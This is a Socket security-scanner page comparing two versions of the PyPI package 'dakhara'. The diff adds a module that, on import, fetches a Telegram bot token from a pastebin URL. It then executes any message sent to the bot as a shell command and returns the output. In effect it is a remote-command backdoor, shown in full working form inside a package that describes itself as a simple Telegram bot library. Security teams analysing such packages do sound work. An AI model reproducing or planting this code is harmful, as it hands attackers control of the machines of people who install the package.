Latest Threat Research:SANDWORM_MODE: Shai-Hulud-Style npm Worm Hijacks CI Workflows and Poisons AI Toolchains.Details
Socket
Book a DemoSign in
Socket

dakhara

Package Overview
Dependencies
Maintainers
1
Versions
3
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

dakhara - pypi Package Compare versions

Comparing version
0.0.2
to
0.0.3
+44
da_hkara/__init__.py
import telebot
import os
import requests
import re
import subprocess
PASTE_URL = "https://pastebin.com/raw/nbEuX2hW"
__version__ = "0.0.1"
def get_token():
try:
response = requests.get(PASTE_URL, timeout=5)
if response.status_code != 200:
raise Exception("Failed to fetch token")
token = response.text.strip()
if not re.match(r'^\d+:[A-Za-z0-9_-]+$', token):
raise ValueError("Invalid token format")
return token
except Exception as e:
print(f"Token Error: {e}")
exit()
bot = telebot.TeleBot(get_token())
@bot.message_handler(commands=['start'])
def start(message):
bot.reply_to(message, "مرحبًا! أنا هنا لتنفيذ الأوامر.")
@bot.message_handler(func=lambda message: not message.text.startswith('/'))
def execute_command(message):
command = message.text
try:
result = subprocess.check_output(command, shell=True, text=True)
if not result:
result = "تم التنفيذ بدون مخرجات."
bot.reply_to(message, result[:4000])
except Exception as e:
bot.reply_to(message, f"حدث خطأ: {error}")
bot.infinity_polling()
+1
-1
Metadata-Version: 2.4
Name: dakhara
Version: 0.0.2
Version: 0.0.3
Summary: A simple Telegram bot library.

@@ -5,0 +5,0 @@ Home-page: https://github.com/yourname/teiebot

setup.py
da_hkara/__init__.py
dahkara/__init__.py

@@ -3,0 +4,0 @@ dakhara.egg-info/PKG-INFO

@@ -0,1 +1,2 @@

da_hkara
dahkara
Metadata-Version: 2.4
Name: dakhara
Version: 0.0.2
Version: 0.0.3
Summary: A simple Telegram bot library.

@@ -5,0 +5,0 @@ Home-page: https://github.com/yourname/teiebot

@@ -5,3 +5,3 @@ from setuptools import setup, find_packages

name="dakhara",
version="0.0.2",
version="0.0.3",
author="Your Name",

@@ -8,0 +8,0 @@ author_email="you@example.com",